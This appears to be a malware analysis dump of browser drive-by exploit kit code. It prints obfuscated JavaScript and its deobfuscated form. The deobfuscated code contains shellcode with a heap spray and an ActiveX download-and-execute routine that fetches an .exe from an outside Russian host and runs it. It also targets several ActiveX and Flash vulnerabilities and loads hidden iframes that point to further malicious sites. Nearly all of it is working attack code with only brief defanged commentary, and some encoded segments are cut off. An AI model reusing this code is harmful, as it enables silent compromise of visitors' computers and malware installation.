PT6bPTZN2QW@PT6bPT6bpCU@sEyO@F@UQDWslOXRRA5xncBIEpmrl
WZHqAthfOVUqcBeEi1xEAm2Ei5HRiDMCDoqqT6bPT6bPTosNuqN@@o
qCT6bPT6bPT6MujFrQg5trCAHnpUbOONbPT6bPT6bjBcNrDUaCoiMnD
UrOONbPT6bPT6bpBFkNCGtfuUaCoQ5soQLNBFtfEi2np1bfDUaCoiqLEi
rfbDtEFPUrpyT6Q1nNbDtEFUqqT6bPT6bPT6E@F@uLUVf6BcNrBfzNBos
2oFrsBkkOONbPT6bPT6bpjGvrGohsoqarBFrLFZv2FyQNugbQDjrnp1eRu
WCPT6bPT6bPTTaNBmNCCieEONbPT6bPT6MCT6bPT6bPqyzNByUNuGk
OQA@PT6bPT6n2oZvS@BauCmvruUHNBZzuFCULOorfWXbOONbPT6bP
TTaNBmNCCieEONbPT6bPqNCPT6bPTosNu5hREgbOQNbPT6bPTZN2Q
W@PT6bPT6bpCU@sEyO@F@UQDdk@jGfNBJus@BzNBoO@CQeSFZUuiq
uNBTONCUbOONbPT6bPT6b@oFE@F@kOQNbPT6bPT6bPC5UQDknrjjh
qAUbOONbPT6bPT6bP@QkNBFbOONbPT6bPT6bjBcNrD@hNjGfNQiMn
D1yrpytEF1nNpyQqT6bPT6bPT622FTtQBZz@FjaNDAeLFKv@jFenQMns
oUknpgeRuWCPT6bPT6bPTkO@jiyQBcNrDotLEieEOibNDpeLpTxEWZqn
DoQOuo2rBcNNCGtOuAeLFKv@jFCsC1auFDkOONbPT6bPT6bjBZz@Fja
NDCMnD1zNoKk@CbuOjmNujZNru15fDFHnp1yRWXnnOoEQpoqqT6b
PT6bPT622FTtQocQsonN@@7vCjiMnDFasF1NlF5aNDCefpDsnODeOui
yfuXenpDqfOoEfOoCfADqqT6bPT6bPT622FTtQocQsonN@@eUsBQQN
DAefjcvNoouuoQn2BUfrBTUfpjefu1yCp1eEFBxRuqrRuiqfDcvNoTUQoc
QsonN@@7vCjoeOuie2FKvs@QL@W5aCF5vCjFenWiHnAqrRuWCPT6bP
T6bPTeONCjauFZLlFTNsFbaNuoqqT6bPT6bPT62NCmfr@FbOONbPT6b
PT6bjoqNrDF22FTtL@iMnD1qnDotfEiHnp1qnDoQOuoHNCjOuFRfrBTU
QBZz@FjasuWCPT6bPT6bPTcTNCqfub5vCjF2rBcNNCGTfDU5uCqQsF5k
NoGNLuWCPT6bPT6bPTkN2oGUQDjOuCCzujovsoUbOONbPT6bPT6bjo
qNrDF22FTtL@iMnD1qnDotfEiHnp1qnDoQOuoHNCjOuFFenQTeRp1bO
ONbPT6bPT6bjoqNrDF22FTtL@iMnD1qnDotfEirEOibuuCbfDW@PT6bP
T6bPT6HNCjOuFRfrBTUQocQsonN@@eUsBQQsuWCPT6bPT6bPT6HNC
jOuFRfrBTUQocQsonN@@eUsBQQNWirQoTasoYkujZNLuWCPT6bPT6bP
TA@PT6bPT6bPTcTNCqfub5vCjF2sFCauyU@uiFaCCCkOONbPT6bPT6b
joTasoFrQoTasoYkujZNLuWCPT6bPT6bPTqN@@QqlogsFjchsoFenQZen
p1enO1HnWiWsoMtLiTN2FgULpo5fDQauBiHFjTzsQFHRuoqqT6bPT6bP
T6n2oZvS@BauCmvruUHNBZzuFCULp1bQDjrnp1eRuWCPT6bPT6bPTTa
NBmNCCieEONbPT6bPT6MCT6bPT6bPqyzNByUNuGkOQA@PT6bPT6n2
oZvS@BauCmvruUHNBZzuFCULp1bQDjHRuWCPT6bPT6r2oZaCjQtfpWC
PT6bPTA@PT6bPTosNu5hREXeRuW@PT6bPT6R2@QvuCMufCqfsFZkuC
QtLEirLFUOsBZ@qFjz@CCNOONbPT6bPTTaNBmNCCieEONbPT6bPqNbP
T6MCT6bPTcvrBcfu@FHRuWE”;eval(RWLbYnx(edcwHCNbNBX));</script>
DEOBFUSCATES TO:
var m=new Array();
var mf=0;
var url=”http://dk.an-dk.ru/partners/admin/1/load.php?id=36125″;function hex(num,width){
var digits=”0123456789ABCDEF”;
var hex=digits.substr(num&0xF,1);
while(num>0xF){
num=num>>>4;
hex=digits.substr(num&0xF,1)+hex;
}
var width=(width?width:0);
while(hex.length<width)hex=”0″+hex;
return hex;
}function addr(addr){
return unescape(“%u”+hex(addr&0xFFFF,4)+”%u”+hex((addr
>>16)&0xFFFF,4));
}function unes(str){
var tmp=”";
for(var i=0;i<str.length;i+=4){
tmp+=addr((str.charCodeAt(i+3)<<24)+
(str.charCodeAt(i+2)<<16)+
(str.charCodeAt(i+1)<<8)+
str.charCodeAt(i));
}
return unescape(tmp);
}function hav(){
mf=mf;
setTimeout(“hav()”,1000);
}function gss(ss,sss){
while(ss.length*2<sss)ss+=ss;
ss=ss.substring(0,sss/2);
return ss;
}function ms(spl){
var plc=unes(
“\x43\x43\x43\x43\x43\x43\xEB\x0F\x5B\x33\xC9\x66\xB9\x80\x01\x80″+
“\x33\xEF\x43\xE2\xFA\xEB\x05\xE8\xEC\xFF\xFF\xFF\x7F\x8B\x4E\xDF”+
“\xEF\xEF\xEF\x64\xAF\xE3\x64\x9F\xF3\x42\x64\x9F\xE7\x6E\x03\xEF”+
“\xEB\xEF\xEF\x64\x03\xB9\x87\x61\xA1\xE1\x03\x07\x11\xEF\xEF\xEF”+
“\x66\xAA\xEB\xB9\x87\x77\x11\x65\xE1\x07\x1F\xEF\xEF\xEF\x66\xAA”+
“\xE7\xB9\x87\xCA\x5F\x10\x2D\x07\x0D\xEF\xEF\xEF\x66\xAA\xE3\xB9″+
“\x87\x00\x21\x0F\x8F\x07\x3B\xEF\xEF\xEF\x66\xAA\xFF\xB9\x87\x2E”+
“\x96\x0A\x57\x07\x29\xEF\xEF\xEF\x66\xAA\xFB\xAF\x6F\xD7\x2C\x9A”+
“\x15\x66\xAA\xF7\x06\xE8\xEE\xEF\xEF\xB1\x66\x9A\xCB\x64\xAA\xEB”+
“\x85\xEE\xB6\x64\xBA\xF7\xB9\x07\x64\xEF\xEF\xEF\xBF\x87\xD9\xF5″+
“\xC0\x9F\x07\x78\xEF\xEF\xEF\x66\xAA\xF3\x64\x2A\x6C\x2F\xBF\x66″+
“\xAA\xCF\x87\x10\xEF\xEF\xEF\xBF\x64\xAA\xFB\x85\xED\xB6\x64\xBA”+
“\xF7\x07\x8E\xEF\xEF\xEF\xEC\xAA\xCF\x28\xEF\xB3\x91\xC1\x8A\x28″+
“\xAF\xEB\x97\x8A\xEF\xEF\x10\x9A\xCF\x64\xAA\xE3\x85\xEE\xB6\x64″+
“\xBA\xF7\x07\xAF\xEF\xEF\xEF\x85\xE8\xB7\xEC\xAA\xCB\xDC\x34\xBC”+
“\xBC\x10\x9A\xCF\xBF\xBC\x64\xAA\xF3\x85\xEA\xB6\x64\xBA\xF7\x07″+
“\xCC\xEF\xEF\xEF\x85\xEF\x10\x9A\xCF\x64\xAA\xE7\x85\xED\xB6\x64″+
“\xBA\xF7\x07\xFF\xEF\xEF\xEF\x85\x10\x64\xAA\xFF\x85\xEE\xB6\x64″+
“\xBA\xF7\x07\xEF\xEF\xEF\xEF\xAE\xB4\xBD\xEC\x0E\xEC\x0E\xEC\x0E”+
“\xEC\x0E\x6C\x03\xEB\xB5\xBC\x64\x35\x0D\x18\xBD\x10\x0F\xBA\x64″+
“\x03\x64\x92\xE7\x64\xB2\xE3\xB9\x64\x9C\xD3\x64\x9B\xF1\x97\xEC”+
“\x1C\xB9\x64\x99\xCF\xEC\x1C\xDC\x26\xA6\xAE\x42\xEC\x2C\xB9\xDC”+
“\x19\xE0\x51\xFF\xD5\x1D\x9B\xE7\x2E\x21\xE2\xEC\x1D\xAF\x04\x1E”+
“\xD4\x11\xB1\x9A\x0A\xB5\x64\x04\x64\xB5\xCB\xEC\x32\x89\x64\xE3″+
“\xA4\x64\xB5\xF3\xEC\x32\x64\xEB\x64\xEC\x2A\xB1\xB2\x2D\xE7\xEF”+
“\x07\x1B\x11\x10\x10\xBA\xBD\xA3\xA2\xA0\xA1\xEF”+url+spl);
var hsta=0×0c0c0c0c,hbs=0×100000,pl=plc.length*2,sss=hbs-(pl+0×38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
if (mf){
for (i=0;i<hb;i++)delete m[i];
CollectGarbage();
}
for(i=0;i<hb;i++)m[i]=ss+plc;
if(!mf){
mf=1;
hav();
}
return 0;
}function cobj(obj){
var ret=null;
if(obj.substring(0,1)==”{“){
try{
var clsid=obj.substring(1,obj.length-1);
ret=document.createElement(“object”);
ret.setAttribute(“classid”,”clsid:”+clsid);
return ret;
}catch(e){
return null;
}
}else{
try{
ret=new ActiveXObject(obj);
return ret;
}catch(e){
return null;
}
}
}var padding = “AAAA”;
var heapBase = 0×00150000;
var memo;function init(maxAlloc){
while (4 + padding.length*2 + 2 < 65535)padding += padding;
memo = new Array();
flush();
}function flush(){
delete memo["plunger"];
CollectGarbage();
memo["plunger"] = new Array();
var bytes = new Array(32, 64, 256, 32768);
for (var i = 0; i < 6; i++) {
for(var n = 0; n < 4; n++) {
var len = memo["plunger"].length;
eval(“memo[\"plunger\"][len] = padding.substr(0, (”
+ bytes[n] + “-6)/2);”);
}
}
}function alloc(arg, tag){
var size;
size = arg;
if (size == 32 || size == 64 || size == 256 || size == 32768) {}
if ( ! memo[tag] )memo[tag] = new Array();
var len = memo[tag].length;
memo[tag][len] = padding.substr(0, (arg-6)/2);
}function alloc_str(arg, tag){
var size;
size = 4 + arg.length*2 + 2;
if (size == 32 || size == 64 || size == 256 || size == 32768) {}
if ( ! memo[tag])memo[tag] = new Array();
var len = memo[tag].length;
memo[tag][len] = arg.substr(0, arg.length);
}function free(tag) {
delete memo[tag];
CollectGarbage();
flush();
}function CreateO(o,n){
var r=null;
try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,”")}catch(e){}}
if(!r){try{r=o.CreateObject(n,”",”")}catch(e){}}
if(!r){try{r=o.GetObject(“”,n)}catch(e){}}
if(!r){try{r=o.GetObject(n,”")}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return(r);
}function Go(a){
var eurl=url+”&spl=2″;
var fname=”winxhEqFEbjyFuQB.exe”;
var fso=a.CreateObject(“Scripting.FileSystemObject”,”")
var sap=CreateO(a,”Shell.Application”);
var x=CreateO(a,”ADODB.Stream”);
var nl=null;
fname=fso.BuildPath(fso.GetSpecialFolder(2),fname);
x.Mode=3;
try{nl=CreateO(a,”Micr”+”osoft.XMLH”+”TTP”);nl.open(“GET”,eurl,false);}
catch(e){try{nl=CreateO(a,”MSXML2.XMLHTTP”);nl.open(“GET”,eurl,false);}
catch(e){try{nl=CreateO(a,”MSXML2.ServerXMLHTTP”);nl.open(“GET”,eurl,false);}
catch(e){try{nl=new XMLHttpRequest();nl.open(“GET”,eurl,false);}
catch(e){return 0;}}}}
x.Type=1;
nl.send(null);
rb=nl.responseBody;
x.Open();
x.Write(rb);
x.SaveTofile(fname,2);
sap.ShellExecute(fname);
return 1;
}function attack(s){
var obj=null;if(s==1){
var i=0;
var target=new Array(“BD96C556-65A3-11D0-983A-00C04FC29E36″,”BD96C556-
65A3-11D0-983A-00C04FC29E30″,”AB9BCEDD-EC7E-47E1-9322-D4A210617116
“,”0006F033-0000-0000-C000-000000000046″,”0006F03A-0000-0000-C000-
000000000046″,”6e32070a-766d-4ee6-879c-dc1fa91d2fc3″,”6414512B-B978-
451D-A0D8-FCFDF33E833C”,”7F5B7F63-F06F-4331-8A26-339E03C0AE3D”,
“06723E09-F4C2-43c8-8358-09FCD1DB0766″,”639F725F-1B2D-4831-A9FD-
874847682010″,”BA018599-1DB3-44f9-83B4-461454C84BF8″,”D0C07D56-
7C69-43F1-B4A0-25F5A11FAB19″,”E8CCCDDF-CA28-496b-B050-6C07C962476B”,null);
while(target[i]){
var a=null;
a=document.createElement(“object”);
a.setAttribute(“classid”,”clsid:”+target[i]);
if(a){try{var b=CreateO(a,”Shell.Application”);if(b){Go(a);}}catch(e){}}
i++;
}
setTimeout(“attack(2)”,4000);
return 0;
}if(s==2){
try{
obj=cobj(“ShockwaveFlash.ShockwaveFlash.9″);
if(obj){
ms(“&spl=3″);
document.getElementById(“a1″).innerHTML =
‘<object classid=”clsid:d27cdb6e-ae6d-11cf-96b8-444553540000″ codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/
swflash.cab#version=4,0,19,0″ width=”0″ height=”0″ align=”middle”>’+
‘<param name=”allowScriptAccess” value=”sameDomain”/>’+
‘<param name=”movie” value=”http://dk.an-dk.ru/partners/admin/1/1.swf”/>’+
‘<param name=”quality” value=”high”/>’+
‘<param name=”bgcolor” value=”#ffffff”/>’+
‘<embed src=”http://dk.an-dk.ru/partners/admin/1/1.swf”/>’+
‘</object>’;
setTimeout(“attack(3)”,2000);
return 0;
}
}catch(e){}
setTimeout(“attack(3)”,1);
return 0;
}if(s==3){
try{
obj=cobj(“WebViewFolderIcon.WebViewFolderIcon.1″);
if(obj){
ms(“&spl=4″);
for(var i=0;i<128;i++){
var wvfio=new ActiveXObject(“WebViewFolderIcon.WebViewFolderIcon.1″);
try{wvfio.setSlice(0×7ffffffe,0,0,202116108);}catch(e){}
var wvfit=new ActiveXObject(“WebViewFolderIcon.WebViewFolderIcon.1″);
}
setTimeout(“attack(4)”,2000);
return 0;
}
}catch(e){}
setTimeout(“attack(4)”,1);
return 0;
}if(s==4){
try{
obj=cobj(“{EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F}”);
if(obj){
ms(“&spl=5″);
z=Math.ceil(0×0c0c0c0c);
z=document.scripts[0].createControlRange().length;
setTimeout(“attack(5)”,2000);
return 0;
}
}catch(e){}
setTimeout(“attack(5)”,1);
return 0;
}if(s==5){
try{
var obj=cobj(“{00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6}”);
if(obj){
ms(“&spl=7″);
var num = 202116108;
obj.WksPictureInterface = num;
setTimeout(“attack(6)”,2000);
return 0;
}
}catch(e){}
setTimeout(“attack(6)”,1);
return 0;
}if(s==6){
try{
var obj=cobj(“{0A5FD7C5-A45C-49FC-ADB5-9952547D5715}”);
if(obj){
ms(“&spl=8″);
var buf = addr(0×0c0c0c0c);
while (buf.length < 512) buf += buf;
obj.cachefolder = buf;
setTimeout(“attack(7)”,2000);
return 0;
}
}catch(e){}
setTimeout(“attack(7)”,1);
return 0;
}if(s==7){
try{
obj=cobj(“{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}”);
if(obj){
ms(“&spl=9″);
var buf = “”;
while (buf.length < 5000) buf += “\x0c\x0c\x0c\x0c”;
obj.SetFormatLikeSample(buf);
setTimeout(“attack(8)”,2000);
return 0;
}
}catch(e){}
setTimeout(“attack(8)”,1);
return 0;
}if(s==8){
try{
obj=cobj(“{F917534D-535B-416B-8E8F-0C04756C31A8}”);
if(obj){
ms(“&spl=10″);
var buf = “”;
while (buf.length < 600) buf += “\x0c\x0c\x0c\x0c”;
obj.IEStartNative(buf);
setTimeout(“attack(9)”,2000);
return 0;
}
}catch(e){}
setTimeout(“attack(9)”,1);
return 0;
}if(s==9){
try{
obj=cobj(“DirectAnimation.PathControl”);
if(obj){
ms(“&spl=6″);
init();
var jmpecx = 0×0c0c0c0c;
var vtable = addr(0×7ceb9090);
for (var i = 0; i < 124/4; i++)vtable += addr(jmpecx);
vtable += padding.substr(0, (1008-138)/2);
var fakeObjPtr = heapBase + 0×688 + ((1008+8)/8)*48;
var fakeObjChunk = padding.substr(0, (0×200c-4)/2) +
addr(fakeObjPtr) + padding.substr(0, 14/2);
CollectGarbage();
flush();
for (var i = 0; i < 100; i++)alloc_str(vtable);
alloc_str(vtable, “lookaside”);
free(“lookaside”);
for (var i = 0; i < 100; i++)alloc(0×2010);
for (var i = 0; i < 2; i++) {
alloc_str(fakeObjChunk);
alloc_str(fakeObjChunk, “freeList”);
}
alloc_str(fakeObjChunk);
free(“freeList”);
obj.KeyFrame(0×40000801, new Array(1), new Array(1));
setTimeout(“attack(10)”,2000);
return 0;
}
}catch(e){}
setTimeout(“attack(10)”,1);
return 0;
}
if(s==10){
window.location = “about:blank”;
return 0;
}
}
attack(1);
hxxp://dk.an-dk.ru/partners/admin/1/load.php?id=36125 downloads ‘load.exe’ (2) while hxxp://dk.an-dk.ru/partners/admin/1/index.php exploits the computer through flash.
hxxp://rivatos.nettds/in.cgi?2 redirects to google.com
hxxp://rivatos.net/in.cgi?idb1 redirects to hxxp://www.traffic-exchange.biz/123.php
hxxp://www.traffic-exchange.biz/123.php
<script type=”text/javascript”>
<!– HTML encodyd by PR-CY.ru –>
<!–
document.write(unescape(‘%3C%69%66%72%61%6D%65%20%73
%72%63%3D%27%68%74%74%70%3A%2F%2F%61%75%67%72%65
%61%74%2E%6D%69%6E%65%2E%6E%75%2F%76%69%65%77%70
%6F%73%74%2E%70%68%70%3F%70%69%64%3D%31%39%31%27
%20%77%69%64%74%68%3D%27%31%27%20%68%65%69%67%68
%74%3D%27%31%27%20%73%74%79%6C%65%3D%27%76%69%73
%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B
%27%3E%3C%2F%69%66%72%61%6D%65%3E%0D%0A%3C%69
%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70
%3A%2F%2F%31%39%36%2E%33%32%2E%32%32%30%2E%33%2F
%72%75%73%2F%69%6E%64%65%78%2E%70%68%70%27%20
%77%69%64%74%68%3D%27%31%27%20%68%65%69%67%68
%74%3D%27%31%27%20%73%74%79%6C%65%3D%27%76%69
%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65
%6E%3B%27%3E%3C%2F%69%66%72%61%6D%65%3E%0D%0A
%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74
%74%70%3A%2F%2F%76%69%72%74%75%61%6C%63%65%63
%6B%2E%63%6F%6D%2F%69%6E%2E%63%67%69%3F%70%69
%70%6B%61%27%20%77%69%64%74%68%3D%27%31%27%20
%68%65%69%67%68%74%3D%27%31%27%20%73%74%79%6C
%65%3D%27%76%69%73%69%62%69%6C%69%74%79%3A%20
%68%69%64%64%65%6E%3B%27%3E%3C%2F%69%66%72%61
%6D%65%3E%0D%0A’));</script>
DEOBFUSCATES TO:
<iframe src=’http://augreat.mine.nu/viewpost.php?pid=191′ width=’1′ height=’1′ style=’visibility: hidden;’></iframe>
<iframe src=’http://196.32.220.3/rus/index.php’ width=’1′ height=’1′ style=’visibility: hidden;’></iframe>
<iframe src=’http://virtualceck.com/in.cgi?pipka’ width=’1′ height=’1′ style=’visibility: hidden;’></iframe>
hxxp://augreat.mine.nu/viewpost.php?pid=191
<script language=JavaScript>function dc(x){var l=x.length,b=
1024,i,j,r,p=0,s=0,w=0,t=Array(72,0,27,0,44,60,0,0,0,0,34,
0,67,30,0,41,54,47,46,52,49,38,9,10,57,0,0,0,0,0,0,28,56,36,
16,65,13,59,42,11,45,51,35,29,1,3,33,26,7,15,58,32,66,25,8,
53,22,64,0,0,0,71,6,0,40,63,2,31,12,70,37,24,14,4,62,50,68,
48,20,19,18,61,69,5,55,17,0,39,23,21,0,0,0,43);for(j=Math.
ceil(l/b);j>0;j–){r=”;for(i=Math.min(l,b);i>0;i–,l–){w|=(t[x.
charCodeAt(p++)-33])<<s;if(s){r+=String.fromCharCode
(255^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc
(“NJWxEP9KH_@68_7xHP7BvkIgV1AXe1WxYphK.806dH&u
#c7×8806v3h4@1a6.3a6Si06qGVBH.E1Y6VK.806h#E5ES0BP
_EKHPABP_r6YlAKpS0OcKLBC_06hp@K.806vJhK@kIndJhK@q
@xC30OdH&u#c7×8806v3h4hG9+Si06qGVBHlh2_3Gxh_~xq
G9Xhu7B#PW1Yp@xC30OBk%avF9KRGVB#lFgYi96yuaxqG0Xj
Hh68_7xHP7BvkLBP.A+TS&XYpagV1AXhNr5V1@+e2W4QQr
KykW1YpeKP3AGY806CGA+yKLBP.A+T1&XYKr4d~&JR#E5c60
+vl9+YcVBdQ06Q3WaEdIXjPV6E.E1Cb%giKWlqcrlvbAgR+IXjJ
a6H3GgqG7B83AXhQ06Q3WaedIXhRru8b&JYp%TVGhB@3agC
_9uvG9OHc8Jy#EOY6VKyKE4_u0l.Ge6CF&JvbAgR+IXjJa6H3G
gqG7B83AXhQ06Q3WaHdIXhRru8b&JYp%TVGhB@3agC_9uvG
9OHcSly#EOY6VKyKE4iy9Jq1&+CFelvbAgR+IXjJa6H3GgqG7B
83AXhQ06Q3Wa8dIXhRru8b&JYp%TVGhB@3agC_9uvG9OHcG
ly#EOY6VKyKE4Qx95o1&KCxV4R.9Kh#E5eG9+~P0BPc0+H.E
1vG9OHcPly#E1pbIlRb%XjHh68_7xHP7BvkLBP.A+T6&XYpagV
1AXhNIl#.%+_J74iQrKykW1Yp%TWPVB#c7+vNVBpc0x#kIndx
0+vl9+YcVBy#EOeG9+~P0BPc0+H.E1vG9OHcGJy#E1pbIJYp%
TNNEK@1agR3hn”)</script>
DEOBFUSCATED TO:
<script>function ifr(src){rame = document.createElement
(‘iframe’);rame.style.display=’none’;rame.src = src;body =
document.getElementsByTagName(‘body’);body[0].appendChild
(rame);}function next_1(){ifr(‘/8f2v3t/8.php’);setTimeout
(‘next_2()’, 500);}function next_2(){ifr(‘/0i1w7m/4.php’);set
Timeout(‘next_3()’, 500);}function next_3(){ifr(‘/9b5a5g/10.
php’);setTimeout(‘next_4()’, 500);}function next_4(){ifr(‘/1j0m
2t/17.php’);setTimeout(‘next_5()’, 500);}function next_5(){ifr
(‘/8f8k2p/f.php’);setTimeout(‘next_6()’, 500);}function next_
6(){ifr(‘/5d8u9c/1.php’);}window.onload = function(){setTimeout
(‘next_1()’, 1);}</script>
hxxp://augreat.mine.nu/8f2v3t/8.php
<applet code=animan.class name=maniman height=1
width=1 MAYSCRIPT></applet><div id=dpVpVt></div>
<script src=’/update/e95.js’></script><script>window.onerror
=function(){return true;}</script><script>function e77fa96d83
(c91d5dc938, ddcbca6eaf){var a5b3fb0cc7 = ‘Y2FsbGVl’;var
sprintf = window[unescapea('ZXZhbA==')];var a273905cb1 =
arguments[unescapea(a5b3fb0cc7)];var eea20eb7e8 = location.
href;a273905cb1 = a273905cb1.toString();a273905cb1 =
a273905cb1 + eea20eb7e8;var a88a1f64d6 = a273905cb1.
replace(/\W/g, ”);a88a1f64d6 = a88a1f64d6.toUpperCase();var
e7dc466adf = 4294967296;var ebd467ceee = new Array;for(var
ebd467ceee = 0; ebd467ceee < 256; ebd467ceee++) {ebd467ceee
[ebd467ceee] = 0;}var e3bfcfc5d0 = 1;for(var ebd467ceee = 128;
ebd467ceee; ebd467ceee >>= 1) {e3bfcfc5d0 = e3bfcfc5d0 >>>
1 ^ (e3bfcfc5d0 & 1 ? 3988292384 : 0);for(var bf1bdc923e = 0;
bf1bdc923e < 256; bf1bdc923e += ebd467ceee * 2) {var bca29
973e9 = ebd467ceee + bf1bdc923e;ebd467ceee[bca29973e9] =
ebd467ceee[bf1bdc923e] ^ e3bfcfc5d0;if (ebd467ceee[bca2997
3e9] < 0) {ebd467ceee[bca29973e9] += e7dc466adf;}}}var ec1a6
022b4 = e7dc466adf – 1;for(var d1ac014bca = 0; d1ac014bca <
a88a1f64d6.length; d1ac014bca++) {var ad83e39185 = (ec1a60
22b4 ^ a88a1f64d6.charCodeAt(d1ac014bca)) & 255;ec1a6022b4
= (ec1a6022b4 >>>^ ebd467ceee[ad83e39185];}ec1a6022b4
= ec1a6022b4 ^ (e7dc466adf – 1);if (ec1a6022b4 < 0) {ec1a6022
b4 += e7dc466adf;}ec1a6022b4 = ec1a6022b4.toString(16).toUp
perCase();while(ec1a6022b4.length <
6022b4;}var b5f320999a = new Array;for(var ebd467ceee = 0; eb
d467ceee < 8; ebd467ceee++) {b5f320999a[ebd467ceee] = ec1a6
022b4.charCodeAt(ebd467ceee);}var be797249b2 = ”;var e1ef804
6e2 = 0;for(var ebd467ceee = 0; ebd467ceee < c91d5dc938.lengt
h; ebd467ceee += 2){var bca29973e9 = c91d5dc938.substr(ebd4
67ceee, 2);var b2ea9d3069 = parseInt(bca29973e9, 16);var ee555f
488c = b2ea9d3069 – b5f320999a[e1ef8046e2];if(ee555f488c <
0) {ee555f488c = ee555f488c + 256;}be797249b2 += String.from
CharCode(ee555f488c);if(e1ef8046e2 + 1 == b5f320999a.length)
{e1ef8046e2 = 0;} else {e1ef8046e2++;}}var c81c48c39f = 0;try {s
printf(be797249b2);} catch(e) {}}
e77fa96d83(‘A7A8B4A5A4AEA6AF6184928AA3BF8AB4699CAF6BA
BBB98B3619EB97F5286798485788C89788E818C8D80949180968
99495889C99889E91A2A396AAA796AC9FAAAB9EB2AF9EB4A7B2
B3A6BAB7A6BCAFBABB63777463796C77786B7F6D5F82597CB794
B8629FB47463636EBCA3A2659A726D96786E937872B7A2A566A
761719C736D98796E957972B7A2A566AB6D7572A5B0AEAB736D
B0AA6FAAA1AAA7A8949D69AA9C74A598A6A982B55BAF6D5B6E
607CA66583ADA373A0AFA598BE91966DA0AA6F96AEA3A286AB
69AA5E716B59809C747E9EB97099B39BA6B982AC6A99AE65A4A
994B883A46DA06C6C5C6F7D957974ACB461AFB094AAAF90A75
BAFAB5EA89FA2B374BA6A9970626A6A6EA9736D6D9C727D6F78
6BAC6D9C737F717A6B6BA8697E695BAB7456766C6A7D6F7A6BA
C6D9C747F71786B6BA86A7E695BAB755678607D7D696FBE9579
72B0B070B5B15B98ABB3AAA1AD7096B7A6AE849BA7B473B49BA6
6996776B6BAE9D69A666677F667960BCB0A283B19F708AB5B39C
B4A95EABA9B0AE76AEA3A288A6A5A65BA9745980B4AAA75BAB76
51826D756AAEB5B16DB4A66C94A7B8AB9EAC65A7B3A2B38598A
6A984B097AB6A9378607CBEB0BDAA99B19C69AA6FAFAB5EB19C
AFA8A7AE6B6BB79CB5B6A5B4629FB472BE4BA9A7B450888B7E68A
2BAAA95B75E7C4B9CAC6A94B49AB6AE98B4B65EA6A3AD6A53C1
4C94B49AB6AE98B4B65EA6A3AD9C63A370A3B9B0ADA661A8A79
8A6ADAAB0A5667F506CACB3AD5B686594AA9DA2B69FBA6593B
1A0A6AFA789A3A0B8596A686E50AB966D9BB0A4A8B3A79EB965
A2AD9FA1728D739AB0AFA1ABA5A4AEA6AF95ACB6A76D825EAE
B097ABAF576E57BC61769A7F57B2A6A5A6A06D7D50C241BE4BA
9A7B450AA9EA38A9A9590508257928D7BB9BC83B85F63A27B987
29389A6B78D6594AA92B289768DA0AEB8929C8D72A3A0B2767C
B285B7A3867FAD919D81AD9A6697B7938C9FB89166877B7F867
47E635C814C96BAA5A4B59CB5B050AC8CB8B484AAB658B46361A
F5C50BD3ABB98B361A5667F50B3ACADAD6E50B6A2BE57BC6198B
CA39C6D5EB3617066B15E88A9A6A2A7AB9192AF9CA4B55BB46B
576E57BE6196A7B693AD5FA66AAEC34C99AB576962A56F62ABB9
A9BA61AE66A7A6A6A36968A5667F50B46584B398A7B6959499A
BA696BA6A9E715763635C6D6B50C257A4A2A7A9AA58AA60BCBE
B050AB96655F62B35C66BDA4B7B061BC53ABB891B15F68B353836
29F737AB3A694BAA77FA7A1A6A4A76EB05C6559636D53686459
6C6061BE53A9A3A4A89F69A65CC1BFAD4FA0A7615B67B45965B
2B5B3AC66BD50AAADA2AD5B6DB4508257B06F7AABB67FA7A1A6
A4A76E64527157AF6A5A6F62AD659AA2B596AE6A956EB2BEBE3D
AFA8506D58B36A53C1B6A2BE57BC6198BCA39C6D5EB3617066B
15E8C9CB59095B0A793B95FAF6D536864596C6061BE53A9A3A4A
89F69A65CC1BFAD4FA0A7615B67B45965B2B5B3AC66BD50AAAD
A2AD5B6DB4508257B06F7AABB67FA7A1A6A4A76EB0596C6061B
E53A9A3A4A89F69A65CC1BFAD4FA9A6B5A8B8B058B7607C4BB0
50A8A5B39AB5AAA2B462949288BB865BA76E50AEA06D61A8BB6B
3AC041B7A2A566BA9DB1577E61A1BBAE9C8041B7A2A566B9A37
1A66DA69872A691B9724BB794B86292AEA5617E53689E8C6762A
AAA5E6879697D6D6FA6557164A8AA597C4BA9A7B450A99B7C4B
A7B8BB3AC041B9AE9F667F50B39CB8618B938E78B9ABB19398B7B
795B8AB696A6E50BF50A898B5A49B6EA75965B24BB5A5BF4CAB4F
AFAEAD5383629EAAAE618296BAABA6AA8F90A39DABA5A46D88
8D89A6C095A36D5995989FB0A59D7EB1A3738D768E9CAD8595
869B9B98768674636A5C814CAD659AA2B596AE6A956E57BC4BA
7B8BB3AC041B9AE9F667F50B39CB86174A9B699BB9C999095B0A7
93B95F928D7BB9BC83B85F639589949B849AAEBA8D9FAE90848A
9F969779877F526E607C4BB066A591B99AA969986F62AB4FABB3B
A3DC14CA8B2A3617E53B4A7A76578A4B59CBCA7889499ABA696
BA6A81917FB4BB86B96A52998D8F9A879BB9A991A38FAD96B49C
9CA8A3A98F878BAA859B7D827E556F6B6B4FB461A494BAA5986D
9C6A61AE66B495B9ACB3AF5B7373598057BE4BB050BF3AC241AA
A7536E63A8B2A36A61A5ABB6A5B7A5696E646F7D3AB9A9BA4BA
E50B9A3657461A888BDB581A9AB69A25F66937C8DAABB94A66E
64867685ABA4A0B2B994886C95A27A9CB59286747E635C6F7D3
AB4577E619A9BB9A3969BB56994726281917FB4BB86B96A52968C
9391858B8BA59A6A93BA8D9D88A467606A7C3DBEAF9C73A6B1A
6A16E64776762638687686E50BAAC6D6199A7AEA3AA607C4BAB
B3AE5EB89CAFA55BB4B79CB1607C4B97A7B6508257B9AE9F74B49
5B8A7B0AFA6AB849FA9B07C4BA27496A9B59C617E53777D3AB46
58EB097AB626D656A7C4BA27491A0AAA5696A6E50B15E9CA9AA
